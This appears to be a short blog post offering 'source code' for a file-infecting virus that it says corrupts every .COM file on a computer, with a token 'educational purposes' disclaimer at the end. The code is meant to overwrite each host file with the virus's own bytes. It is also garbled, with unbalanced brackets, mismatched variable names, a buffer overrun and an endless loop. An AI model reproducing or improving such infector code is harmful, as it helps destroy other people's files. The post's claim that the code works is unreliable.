Make your Own virus

the most deadly virus...!

The following is the Source Code of Black Wolf Virus that can corrupt all the ".COM" files in your computer when it is compiled with C++ compiler.

=============================================

File*Virus, *Host;

int x,y,done;
char buff[256]

struct ffblk ffblk;

main()
{
done=(findfirst("*.COM",&ffblk,0);
while(!done)
{
Printf(infecting %s\n",ffblk.ff_name);
virus=fopen(_arg[0],"rb");
Host=fopen(ffblk.ff_name,"rb+");
x=9504;
while(x>256)
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
fcloseall();
done=findnext(&ffblk);
}
return(0);
}

DISCLAIM: This is only for Educational Purposes. Dont use it in wrong ways!

Comments

Popular posts from this blog

AngularJs call one method of controller in another controller .

Closures in javascript and how do they work ?

Working with $scope.$emit , $scope.$broadcast and $scope.$on